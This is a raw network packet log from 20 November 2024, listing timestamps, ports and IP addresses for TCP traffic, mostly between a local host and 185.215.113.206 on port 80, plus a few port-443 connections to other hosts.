Nov 20, 2024 14:43:44.363749981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.366580963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.366595984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.366609097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.366621971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.366636038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.366638899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.366698980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.366736889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.366894960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.366993904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.367505074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.367574930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.368390083 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.368436098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.368498087 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.368520975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.369461060 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.369528055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.369781017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.370098114 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.370589972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.370908022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.370966911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.371485949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.371551037 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.371639013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.371694088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.372636080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.372648001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.372695923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.372740984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.373528957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.373588085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.373883009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.373944044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.374480963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.374548912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.374628067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.374799967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.375471115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.375547886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.375793934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.376267910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.376573086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.376714945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.376739025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.376785994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.377697945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.377764940 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.378115892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.378176928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.378668070 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.378719091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.379009008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.379103899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.379590034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.379638910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.379780054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.379833937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.380706072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.380759001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.380888939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.380938053 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.381551027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.381616116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.381984949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.382036924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.382769108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.382838964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.382919073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.383034945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.383732080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.383745909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.383811951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.384695053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.384763002 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.385010958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.385538101 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.538908005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.538971901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.539052010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.539119005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.539532900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.539594889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.539802074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.539860964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.539942980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.539962053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.539974928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.539989948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.539994955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.540004015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.540019035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.540019989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.540033102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.540061951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.540083885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.540303946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.540365934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.541428089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.541476965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.541481018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.541522026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.542066097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.542117119 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.542274952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.542336941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.543123960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.543173075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.543251991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.543296099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.544048071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.544097900 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:44.544102907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.544130087 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:44.544250965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.544313908 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:44.544399023 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.544611931 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:44.544622898 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:44.545094967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.545145988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.545268059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.545325994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.546068907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.546128988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.546155930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.546185017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.547095060 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.547158003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.547189951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.547235966 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.548115969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.548170090 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.548391104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.548434019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.549406052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.549457073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.549479961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.549495935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.550184011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.550282001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.550290108 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.550319910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.551214933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.551237106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.551260948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.551276922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.552218914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.552303076 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.552412033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.552448988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.553205013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.553253889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.553282022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.553322077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.554269075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.554539919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.554588079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.555286884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.555330992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.555500984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.555542946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.556287050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.556302071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.556344986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.557308912 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.557420969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.557864904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.558315992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.558360100 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.558420897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.558461905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.559307098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.559361935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.560101032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.560210943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.560369015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.560390949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.561361074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.561388969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.561400890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.561626911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.562068939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.562414885 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.562504053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.562551022 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.563479900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.563524008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.563568115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.563610077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.564512968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.564549923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.564563036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.564594984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.565407038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.565459967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.565809965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.565864086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.566591978 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.566646099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.566906929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.567486048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.567540884 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.567661047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.567708015 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.568557024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.568608999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.568660975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.568706036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.569525003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.569598913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.569648981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.570616961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.570678949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.570818901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.571479082 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.571541071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.571763992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.571824074 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.572561979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.572638988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.572876930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.572932959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.573693991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.573741913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.573906898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.574033976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.574666023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.574712038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.574789047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.574858904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.575602055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.575649977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.575670004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.575725079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.576648951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.576726913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.576764107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.577039957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.577670097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.577714920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.578433037 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.578489065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.578664064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.579046965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.579097033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.579687119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.579734087 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.580019951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.580069065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.580836058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.580881119 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.580933094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.580976009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.581847906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.581895113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.581923008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.581990957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.582726002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.582868099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.583427906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.583769083 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.583816051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.584884882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.584909916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.584928989 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.584949017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.584969997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.585850000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.585903883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.586014986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.586065054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.586832047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.586883068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.586957932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.587146997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.587910891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.587980032 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.588177919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.588222027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.588821888 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.588870049 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.591814995 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:44.591852903 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:44.591933966 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:44.592166901 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:44.592181921 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:44.736938953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.737149000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.737246990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.737510920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.737546921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.737576008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.737638950 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.738209963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.738286972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.738336086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.738399029 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.739219904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.739269018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.739449024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.739500046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.740272045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.740437031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.740488052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.741257906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.741312981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.741343021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.741360903 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.742264986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.742316961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.742448092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.742499113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.743366003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.743427038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.743455887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.743508101 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.744307995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.744359970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.744441986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.744508982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.745348930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.745403051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.745837927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.745928049 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.746359110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.746515989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.746577024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.746619940 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.747510910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.747566938 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.747597933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.747664928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.748425961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.748482943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.748646021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.748699903 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.749463081 CET	80	49800	185.215.113.206	192.168.2.6
